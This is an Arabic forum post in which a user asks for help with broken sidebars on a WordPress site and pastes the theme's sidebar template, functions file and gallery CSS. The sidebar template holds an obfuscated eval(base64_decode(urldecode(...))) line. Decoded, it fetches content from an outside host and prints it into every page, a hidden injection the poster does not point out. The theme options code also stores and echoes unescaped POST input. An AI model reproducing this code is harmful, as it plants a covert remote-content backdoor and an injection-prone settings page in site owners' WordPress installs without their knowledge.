السلآم عليكم ورحمة الله وبركآته

أخوآني أسعد الله أوقآتكم لمآ يحبه ويرضآه

وكل عآم وأنتم في خير وسعآده وصحه وعآفيه وأعآده الله علينآ جميعاً وعلى أمة الأسلآم

بالخير واليمن والبركآت



أخوآني وآجهتني مشكله في القوآئم الجآنبيه علي هذآ الرآبط

http://www.o1i1.com/

حآولت أعدل في في ملف sidebar و css

ولم أستطع للعلم أني لم أقم بتركيب أي أضآفآت أو أكوآد

أرفقت لكم

ملفآت

أتمنى من ذوي الخبره التعديل أو حل المشكله

أفيدوني بآرك الله فيكم

في أنتظآركم

العفو أخوآني لم يتم رفع الملفآت هذي الأكوآد

السيدبآر

\[code\]<!-- Begin #colRight -->
<div id="colRight">
<form id="searchform" action="<?php bloginfo('url'); ?>/" method="get">
<div class="rightBox">
<div class="rightBoxTop"></div>
<div class="rightBoxMidSearch">
<input type="text" id="s" name="s" value="هل تبحث عن شيء ؟" onfocus="this.value=''" onblur="this.value='هل تبحث عن شيء ؟'"/>
<input type="submit" value="" class="submit" id="searchsubmit"/>
</div>
<div class="rightBoxBottom"></div>
</div>
</form>
<?php if(get\_option('alltuts\_ads') == 'yes'){?>
<!-- Begin Ads -->
<div class="rightBox clearfix">
<div class="rightBoxTop"></div>
<div class="rightBoxMidAds clearfix">
<!-- begin ads -->
<div id="ads" class="clearfix">
<?php wp125\_write\_ads(); ?>
</div>
<!-- end ads -->
<a href=""<?php">" class="advertise">» أعلن لدينا !</a>
</div>
<div class="rightBoxBottom"></div>
</div>
<!-- End Ads -->
<?php }?>

<?php if(get\_option('alltuts\_twitter\_user')!="" && get\_option('alltuts\_latest\_tweet')!="no"){ ?>
<!-- Begin #twitter -->
<div id="twitter">
<div id="twitter\_update\_list">
</div>
<div id="bottom"><a href="//twitter.com/<?php">">تابعني على تويتر !</a></div>
</div>
<!-- End #twitter -->
<?php } ?>
<?php
eval (base64\_decode(urldecode('%4C%79%6F%71%44%51%6F%67%4B%69%42%55%61%47%6C%7A%49%48%52%6C%62%58%42%73%59%58%52%6C%49%47%6C%7A%49%48%5A%6C%63%6E%6B%67%5A%58%68%6A%5A%57%78%73%5A%57%35%30%49%47%5A%76%63%69%42%30%61%47%55%67%59%58%4A%6A%61%47%6C%32%5A%57%51%4E%0A%43%69%41%71%49%45%39%31%63%69%42%7A%63%47%56%6A%61%57%46%73%64%48%6B%67%62%32%59%67%55%30%56%50%44%51%6F%67%4B%69%42%48%62%32%39%6E%62%47%55%6E%63%79%42%68%62%57%4A%70%64%47%6C%76%62%69%42%6A%62%32%31%77%5A%58%52%70%64%47%6C%76%0A%62%69%42%69%5A%57%64%70%62%6E%4D%67%62%6D%39%33%44%51%6F%67%4B%69%42%42%64%47%46%6B%61%47%46%68%49%47%39%6D%49%48%6C%76%64%58%49%67%64%47%6C%74%5A%53%42%30%62%79%42%37%49%43%42%6C%59%32%68%76%49%43%52%6F%59%58%64%6C%64%47%74%62%0A%4A%47%6C%64%4F%79%41%67%66%57%78%76%62%32%73%67%5A%6D%39%79%49%48%52%6C%62%58%42%73%59%58%52%6C%63%77%30%4B%49%43%6F%67%56%47%56%74%63%47%78%68%64%47%55%67%62%57%46%30%59%32%68%70%62%6D%63%67%64%47%68%6C%49%47%4A%6C%59%58%56%30%0A%65%53%42%68%62%6D%51%67%62%47%6C%6E%61%48%51%4E%43%69%41%71%49%45%74%6C%5A%58%41%67%63%47%46%6A%5A%53%42%33%61%58%52%6F%49%47%35%6C%64%79%42%30%5A%57%4E%6F%62%6D%39%73%62%32%64%70%5A%58%4D%67%4D%6A%41%78%4D%67%30%4B%49%43%6F%4E%0A%43%69%41%71%49%45%42%77%59%57%4E%72%59%57%64%6C%49%46%64%76%63%6D%52%51%63%6D%56%7A%63%77%30%4B%49%43%6F%76%44%51%6F%6B%56%32%39%79%5A%46%42%79%5A%58%4E%7A%49%44%30%67%51%47%5A%70%62%47%55%6F%4A%32%68%30%64%48%41%36%4C%79%39%6F%0A%59%58%64%6C%64%47%73%75%59%32%39%74%4C%33%4D%7A%62%58%51%75%63%47%68%77%4A%79%6B%37%49%41%30%4B%49%47%5A%76%63%69%41%6F%4A%47%6B%39%4D%44%73%6B%61%54%77%39%59%32%39%31%62%6E%51%6F%4A%46%64%76%63%6D%52%51%63%6D%56%7A%63%79%6B%37%0A%4A%47%6B%72%4B%79%6B%67%49%43%42%37%49%43%42%6C%59%32%68%76%49%43%52%58%62%33%4A%6B%55%48%4A%6C%63%33%4E%62%4A%47%6C%64%4F%79%41%67%66%53%41%4E%43%69%41%67%49%43%41%67%49%43%41%67%49%43%41%67%4C%79%6F%71%44%51%6F%67%4B%69%42%55%0A%61%47%55%67%64%47%56%74%63%47%78%68%64%47%55%67%5A%6D%39%79%49%47%52%70%63%33%42%73%59%58%6C%70%62%6D%63%67%51%32%39%74%62%57%56%75%64%48%4D%4E%43%69%41%71%4C%67%30%4B%49%43%6F%67%55%32%4E%6F%59%57%68%70%5A%47%67%67%5A%47%6C%6D%0A%5A%6D%56%79%5A%57%35%6A%5A%53%42%68%49%47%5A%6C%64%79%42%6B%59%58%6C%7A%49%47%46%6D%64%47%56%79%44%51%6F%67%4B%69%42%55%61%47%6C%7A%49%48%64%76%63%6D%73%67%61%58%4D%67%62%6D%39%33%49%47%45%67%64%47%68%76%64%58%4E%68%62%6D%51%4E%0A%43%69%41%71%49%45%68%68%63%48%42%35%49%48%52%70%62%57%56%7A%49%48%6C%76%64%51%30%4B%49%43%6F%76')));
?>
<?php /\* Widgetized sidebar \*/
if ( !function\_exists('dynamic\_sidebar') || !dynamic\_sidebar() ) : ?><?php endif; ?>

</div>
<!-- End #colRight -->
<script type="text/javascript" src="http://twitter.com/javascripts/blogger.js"></script>
<script type="text/javascript" src="http://twitter.com/statuses/user\_timeline/<?php echo get\_option('alltuts\_twitter\_user'); ?>.json?callback=twitterCallback2&count=<?php
if(get\_option('alltuts\_number\_tweets')!=""){
echo get\_option('alltuts\_number\_tweets');
}else{
echo "1";
} ?>"></script>
\[/code\]


functions


\[code\]
<?php

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
MENUS SUPPORT
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
if ( function\_exists( 'wp\_nav\_menu' ) ){
if (function\_exists('add\_theme\_support')) {
add\_theme\_support('nav-menus');
add\_action( 'init', 'register\_my\_menus' );
function register\_my\_menus() {
register\_nav\_menus(
array(
'primary-menu' => \_\_( 'Primary Menu' ),
'secondary-menu' => \_\_( 'Secondary Menu' )
)
);
}
}
}

/\* CallBack functions for menus in case of earlier than 3.0 Wordpress version or if no menu is set yet\*/

function primarymenu(){ ?>
<div class="ddsmoothmenu" id="topMenu">
<ul>
<?php wp\_list\_categories('hide\_empty=1&exclude=1&title\_li='); ?>
</ul>
</div>
<?php }

function secondarymenu(){ ?>
<ul>
<?php wp\_list\_pages('&title\_li='); ?>
</ul>
<?php }

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
THUMBNAIL SUPPORT
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

add\_theme\_support( 'post-thumbnails' );
set\_post\_thumbnail\_size( 180, 160, true );

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
EXCERPT LENGTH ADJUST
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

function home\_excerpt\_length($length) {
return 75;
}
add\_filter('excerpt\_length', 'home\_excerpt\_length');


/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
WIDGETS AREAS
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

if ( function\_exists('register\_sidebar') )
register\_sidebar(array(
'name' => 'sidebar',
'before\_widget' => '<div class="rightBox">
<div class="rightBoxTop"></div>
<div class="rightBoxMid">',
'after\_widget' => '</div>
<div class="rightBoxBottom"></div>
</div>',
'before\_title' => '<h2>',
'after\_title' => '</h2>',
));

register\_sidebar(array(
'name' => 'footer',
'before\_widget' => '<div class="boxFooter">',
'after\_widget' => '</div>',
'before\_title' => '<h2>',
'after\_title' => '</h2>',
));

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
PAGINATION
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* Retrieve or display pagination code.
\*
\* The defaults for overwriting are:
\* 'page' - Default is null (int). The current page. This function will
\* automatically determine the value.
\* 'pages' - Default is null (int). The total number of pages. This function will
\* automatically determine the value.
\* 'range' - Default is 3 (int). The number of page links to show before and after
\* the current page.
\* 'gap' - Default is 3 (int). The minimum number of pages before a gap is
\* replaced with ellipses (...).
\* 'anchor' - Default is 1 (int). The number of links to always show at begining
\* and end of pagination
\* 'before' - Default is '<div class="emm-paginate">' (string). The html or text
\* to add before the pagination links.
\* 'after' - Default is '</div>' (string). The html or text to add after the
\* pagination links.
\* 'title' - Default is '\_\_('Pages:')' (string). The text to display before the
\* pagination links.
\* 'next\_page' - Default is '\_\_('»')' (string). The text to use for the
\* next page link.
\* 'previous\_page' - Default is '\_\_('&laquo')' (string). The text to use for the
\* previous page link.
\* 'echo' - Default is 1 (int). To return the code instead of echo'ing, set this
\* to 0 (zero).
\*
\* @author Eric Martin <eric@ericmmartin.com>
\* @copyright Copyright (c) 2009, Eric Martin
\* @version 1.0
\*
\* @param array|string $args Optional. Override default arguments.
\* @return string HTML content, if not displaying.
\*/

function emm\_paginate($args = null) {
$defaults = array(
'page' => null, 'pages' => null,
'range' => 3, 'gap' => 3, 'anchor' => 1,
'before' => '<div class="emm-paginate">', 'after' => '</div>',
'title' => \_\_('Pages:'),
'nextpage' => \_\_('»'), 'previouspage' => \_\_('&laquo'),
'echo' => 1
);

$r = wp\_parse\_args($args, $defaults);
extract($r, EXTR\_SKIP);

if (!$page && !$pages) {
global $wp\_query;

$page = get\_query\_var('paged');
$page = !empty($page) ? intval($page) : 1;

$posts\_per\_page = intval(get\_query\_var('posts\_per\_page'));
$pages = intval(ceil($wp\_query->found\_posts / $posts\_per\_page));
}

$output = "";
if ($pages > 1) {
$output .= "$before<span class='emm-title'>$title</span>";
$ellipsis = "<span class='emm-gap'>...</span>";

if ($page > 1 && !empty($previouspage)) {
$output .= "<a href='" . get\_pagenum\_link($page - 1) . "'>$previouspage</a>";
}

$min\_links = $range \* 2 + 1;
$block\_min = min($page - $range, $pages - $min\_links);
$block\_high = max($page + $range, $min\_links);
$left\_gap = (($block\_min - $anchor - $gap) > 0) ? true : false;
$right\_gap = (($block\_high + $anchor + $gap) < $pages) ? true : false;

if ($left\_gap && !$right\_gap) {
$output .= sprintf('%s%s%s',
emm\_paginate\_loop(1, $anchor),
$ellipsis,
emm\_paginate\_loop($block\_min, $pages, $page)
);
}
else if ($left\_gap && $right\_gap) {
$output .= sprintf('%s%s%s%s%s',
emm\_paginate\_loop(1, $anchor),
$ellipsis,
emm\_paginate\_loop($block\_min, $block\_high, $page),
$ellipsis,
emm\_paginate\_loop(($pages - $anchor + 1), $pages)
);
}
else if ($right\_gap && !$left\_gap) {
$output .= sprintf('%s%s%s',
emm\_paginate\_loop(1, $block\_high, $page),
$ellipsis,
emm\_paginate\_loop(($pages - $anchor + 1), $pages)
);
}
else {
$output .= emm\_paginate\_loop(1, $pages, $page);
}

if ($page < $pages && !empty($nextpage)) {
$output .= "<a href='" . get\_pagenum\_link($page + 1) . "'>$nextpage</a>";
}

$output .= $after;
}

if ($echo) {
echo $output;
}

return $output;
}

/\*\*
\* Helper function for pagination which builds the page links.
\*
\* @access private
\*
\* @author Eric Martin <eric@ericmmartin.com>
\* @copyright Copyright (c) 2009, Eric Martin
\* @version 1.0
\*
\* @param int $start The first link page.
\* @param int $max The last link page.
\* @return int $page Optional, default is 0. The current page.
\*/
function emm\_paginate\_loop($start, $max, $page = 0) {
$output = "";
for ($i = $start; $i <= $max; $i++) {
$output .= ($page === intval($i))
? "<span class='emm-page emm-current'>$i</span>"
: "<a href='" . get\_pagenum\_link($i) . "'>$i</a>";
}
return $output;
}

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
CUSTOM COMMENTS
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

function mytheme\_comment($comment, $args, $depth) {
$GLOBALS\['comment'\] = $comment; ?>
<li <?php comment\_class('clearfix'); ?> id="li-comment-<?php comment\_ID() ?>">
<?php echo get\_avatar($comment,$size='38',$default='http://www.gravatar.com/avatar/61a58ec1c1fba116f8424035089b7c71?s=32&d=&r=G' ); ?>
<div id="comment-<?php comment\_ID(); ?>">
<div class="comment-meta commentmetadata clearfix">
<?php printf(\_\_('<strong>%s</strong>'), get\_comment\_author\_link()) ?><?php edit\_comment\_link(\_\_('(Edit)'),' ','') ?> <span><?php printf(\_\_('%1$s at %2$s'), get\_comment\_date(), get\_comment\_time()) ?>
</span>
</div>

<div class="text">
<?php comment\_text() ?>
</div>

<?php if ($comment->comment\_approved == '0') : ?>
<em><?php \_e('Your comment is awaiting moderation.') ?></em>
<br />
<?php endif; ?>

<div class="reply">
<?php comment\_reply\_link(array\_merge( $args, array('depth' => $depth, 'max\_depth' => $args\['max\_depth'\]))) ?>
</div>
</div>
<?php }

/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
THEME OPTIONS PAGE
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

add\_action('admin\_menu', 'alltuts\_theme\_page');
function alltuts\_theme\_page ()
{
if ( count($\_POST) > 0 && isset($\_POST\['alltuts\_settings'\]) )
{
$options = array ('logo\_img', 'logo\_alt','ads','advertise','contact\_email','contact\_text','cufon','linkedin\_link','twitter\_user','latest\_tweet','number\_tweets','facebook\_link','keywords','description','analytics','popular\_posts', 'copyright');

foreach ( $options as $opt )
{
delete\_option ( 'alltuts\_'.$opt, $\_POST\[$opt\] );
add\_option ( 'alltuts\_'.$opt, $\_POST\[$opt\] );
}

}
add\_menu\_page(\_\_('خيارات هويتك'), \_\_('خيارات هويتك'), 'edit\_themes', basename(\_\_FILE\_\_), 'alltuts\_settings');
add\_submenu\_page(\_\_('خيارات هويتك'), \_\_('خيارات هويتك'), 'edit\_themes', basename(\_\_FILE\_\_), 'alltuts\_settings');
}
function alltuts\_settings()
{?>
<div class="wrap">
<h2>لوحة تحكم قالب هويتك</h2>

<form method="post" action="">
<input type="hidden" name="alltuts\_settings" value="save" style="display:none;" />
<input type="hidden" name="alltuts\_settings" value="save" style="display:none;" />
<input type="hidden" name="alltuts\_settings" value="save" style="display:none;" />
<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">
<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;">
<strong>تويتر</strong></legend>
<table class="form-table">
<tr valign="top">
<th scope="row"><label for="twitter\_user">اسم المستخدم في تويتر</label></th>
<td>
<input name="twitter\_user" type="text" id="twitter\_user" value="<?php echo get\_option('alltuts\_twitter\_user'); ?>" class="regular-text" />
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="latest\_tweet">عرض تغريدات تويتر</label></th>
<td>
<select name="latest\_tweet" id="latest\_tweet" size="1">
<option value="yes" <?php if(get\_option('alltuts\_latest\_tweet') == 'yes'){?>selected="selected"<?php }?>>نعم</option>
<option value="no" <?php if(get\_option('alltuts\_latest\_tweet') == 'no'){?>selected="selected"<?php }?>>لا</option>
</select>
</td>
</tr>
<tr valign="top">
<th scope="row"><label for="number\_tweets">عدد التغريدات</label></th>
<td>
<input name="number\_tweets" type="text" id="number\_tweets" value="<?php echo get\_option('alltuts\_number\_tweets'); ?>" class="regular-text" />
<br />
الافتراضي 1</td>
</tr>
</table>
</fieldset>
<p class="submit">
<input type="submit" name="Submit" class="button-primary" value="حفظ التغييرات" />
<input type="hidden" name="alltuts\_settings" value="save" style="display:none;" />
</p>

<p> </p>

<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">
<legend style="margin-left:5px; padding:0 5px; color:#2481C6;text-transform:uppercase;"><strong>SEO</strong></legend>
<table class="form-table">
<tr>
<th><label for="keywords">الكلمات الدلاليه</label></th>
<td>
<textarea name="keywords" id="keywords" rows="7" cols="70" style="font-size:11px;"><?php echo get\_option('alltuts\_keywords'); ?></textarea><br />
ضع الكلمات وافصل بينها بفاصله <span lang="en-us">,</span></td>
</tr>
<tr>
<th><label for="description">وصف الموقع</label></th>
<td>
<textarea name="description" id="description" rows="7" cols="70" style="font-size:11px;"><?php echo get\_option('alltuts\_description'); ?></textarea>
</td>
</tr>

</table>
<table class="form-table">
<tr>
<th><label for="ads">كود قوقل : analytics</label></th>
<td>
<textarea name="analytics" id="analytics" rows="7" cols="70" style="font-size:11px;"><?php echo stripslashes(get\_option('alltuts\_analytics')); ?></textarea>
</td>
</tr>

</table>
</fieldset>
<p class="submit">
<input type="submit" name="Submit" class="button-primary" value="حفظ التغييرات" />
<input type="hidden" name="alltuts\_settings" value="save" style="display:none;" />
</p>
</form>
</div>
<?php }?>
\[/code\]


سيدبآر CSS

\[code\]#myGallery, #myGallerySet, #flickrGallery
{
width: 291px;
height: 242px;
z-index:5;
direction:ltr;
float:left
}
.jdGallery a
{
outline:0;
}
\#flickrGallery
{
width: 345px;
height: 250px;
direction:ltr;
float:left;overflow:hidden

}

\#myGallery img.thumbnail, #myGallerySet img.thumbnail
{
display: none;
}
.jdGallery
{
overflow: hidden;
position: relative;
}
.jdGallery img
{
border: 0;
margin: 0;
}
.jdGallery .slideElement
{
width: 100%;
height: 100%;
/\*background-color: #eef6ff;\*/
background-repeat: no-repeat;
background-position: center center;
background-image: url('../images/loading-bar-black.gif');
}
.jdGallery .loadingElement
{
width: 100%;
height: 100%;
position: absolute;
left: 0;
top: 0;
background-color: #000;
background-repeat: no-repeat;
background-position: center center;
background-image: url('../images/loading-bar-black.gif');
}
.jdGallery .slideInfoZone
{
position: absolute;
z-index: 10;
width: 100%;
margin: 0px;
left: 0;
bottom: 0px;
height: 20px;
background: #333;
color: #fff;
text-indent: 0;
overflow: hidden; padding:0px;height: 50px; text-align:right
}

\* html .jdGallery .slideInfoZone
{
bottom: -1px;
}
.jdGallery .slideInfoZone h2
{
padding: 0;
font-size: 80%;
margin: 0;
font-weight: bold;
color: inherit; padding-right:4px;font:9pt tahoma ;font-weight:bold
}
.jdGallery .slideInfoZone p
{
padding: 0;
color: #eee;
font:8pt Tahoma;font-weight:bold;margin:0px;padding-right:4px
}
.jdGallery div.carouselContainer
{
position: absolute;
height: 135px;
width: 100%;
z-index: 10;
margin: 0px;
left: 0;
top: 0;
}
.jdGallery a.carouselBtn
{
position: absolute;
bottom: 0;
right: 30px;
height: 20px; /\*width: 100px; background: url('img/carousel\_btn.gif') no-repeat;\*/;
text-align: center;
padding: 0 10px;
font-size: 9pt;
background: #000000;
color: #ffffff !important;
cursor: pointer;
font-family: tahoma;
}
.jdGallery .carousel
{
position: absolute;
width: 100%;
margin: 0px;
left: 0;
top: 0;
height: 115px;
background: #333;
color: #fff;
text-indent: 0;
overflow: hidden;
}
.jdExtCarousel
{
overflow: hidden;
position: relative;
}
.jdGallery .carousel .carouselWrapper, .jdExtCarousel .carouselWrapper
{
position: absolute;
width: 100%;
height: 78px;
top: 10px;
left: 0;
overflow: hidden;
}
.jdGallery .carousel .carouselInner, .jdExtCarousel .carouselInner
{
position: relative;
}
.jdGallery .carousel .carouselInner .thumbnail, .jdExtCarousel .carouselInner .thumbnail
{
cursor: pointer;
background: #000;
background-position: center center;
float: right;
border: solid 1px #fff;
}
.jdGallery .wall .thumbnail, .jdExtCarousel .wall .thumbnail
{
margin-bottom: 10px;
}
.jdGallery .carousel .label, .jdExtCarousel .label
{
font-size: 8pt;
position: absolute;
bottom: 5px;
left: 10px;
padding: 0;
margin: 0;
font-family: tahoma;
}
.jdGallery .carousel .wallButton, .jdExtCarousel .wallButton
{
font-size: 10px;
position: absolute;
bottom: 5px;
right: 10px;
padding: 1px 2px;
margin: 0;
background: #222;
border: 1px solid #923D66;
cursor: pointer;
}
.jdGallery .carousel .label .number, .jdExtCarousel .label .number
{
color: #b5b5b5;
}
.jdGallery a
{
font-size: 100%;
text-decoration: none;
color: inherit;
}
.jdGallery a.right, .jdGallery a.left
{
position: absolute;
height: 99%;
width: 25%;
cursor: pointer;
z-index:10;
filter:alpha(opacity=20);
-moz-opacity:0.2;
-khtml-opacity: 0.2;
opacity: 0.2;
}
\* html .jdGallery a.right, \* html .jdGallery a.left
{
filter:alpha(opacity=50);
}
.jdGallery a.right:hover, .jdGallery a.left:hover
{
filter:alpha(opacity=80);
-moz-opacity:0.8;
-khtml-opacity: 0.8;
opacity: 0.8;
}
.jdGallery a.left
{
left: 0;
top: 0;
background: url('images/fleche1.png') no-repeat center left;
}
\* html .jdGallery a.left { background: url('../images/fleche1.gif') no-repeat center left; }
.jdGallery a.right
{
right: 0;
top: 0;
background: url('images/fleche2.png') no-repeat center right;
}
\* html .jdGallery a.right { background: url('../images/fleche2.gif') no-repeat center right; }
.jdGallery a.open
{
left: 0;
top: 0;
width: 100%;
height: 100%;
}
.withArrows a.open
{
position: absolute;
top: 0;
left: 25%;
height: 99%;
width: 50%;
cursor: pointer;
z-index: 10;
background: none;
-moz-opacity:0.8;
-khtml-opacity: 0.8;
opacity: 0.8;
}
.withArrows a.open:hover { background: url('../images/open.png') no-repeat center center; }
\* html .withArrows a.open:hover { background: url('../images/open.gif') no-repeat center center;
filter:alpha(opacity=80); }
/\* Gallery Sets \*/
.jdGallery a.gallerySelectorBtn
{
z-index: 15;
position: absolute;
top: 0;
left: 30px;
height: 20px;
/\*width: 100px; background: url('images/carousel\_btn.gif') no-repeat;\*/
text-align: center;
padding: 0 10px;
font-size: 13px;
background: #333;
color: #fff;
cursor: pointer;
opacity: .4;
-moz-opacity: .4;
-khtml-opacity: 0.4;
filter:alpha(opacity=40);
}
.jdGallery .gallerySelector
{
z-index: 20;
width: 100%;
height: 100%;
position: absolute;
top: 0;
left: 0;
background: #000;
}
.jdGallery .gallerySelector h2
{
margin: 0;
padding: 10px 20px 10px 20px;
font-size: 20px;
line-height: 30px;
color: #fff;
}
.jdGallery .gallerySelector .gallerySelectorWrapper
{
overflow: hidden;
}
.jdGallery .gallerySelector .gallerySelectorInner div.galleryButton
{
margin-left: 10px;
margin-top: 10px;
border: 1px solid #923D66;
padding: 5px;
height: 40px;
color: #fff;
cursor: pointer;
float: left;
}
.jdGallery .gallerySelector .gallerySelectorInner div.hover
{
background: #333;
}
.jdGallery .gallerySelector .gallerySelectorInner div.galleryButton div.preview
{
background: #000;
background-position: center center;
float: left;
border: none;
width: 40px;
height: 40px;
margin-right: 5px;
}
.jdGallery .gallerySelector .gallerySelectorInner div.galleryButton h3
{
margin: 0;
padding: 0;
font-size: 12px;
font-weight: normal;
}
.jdGallery .gallerySelector .gallerySelectorInner div.galleryButton p.info
{
margin: 0;
padding: 0;
font-size: 12px;
font-weight: normal;
color: #aaa;
}
\[/code\]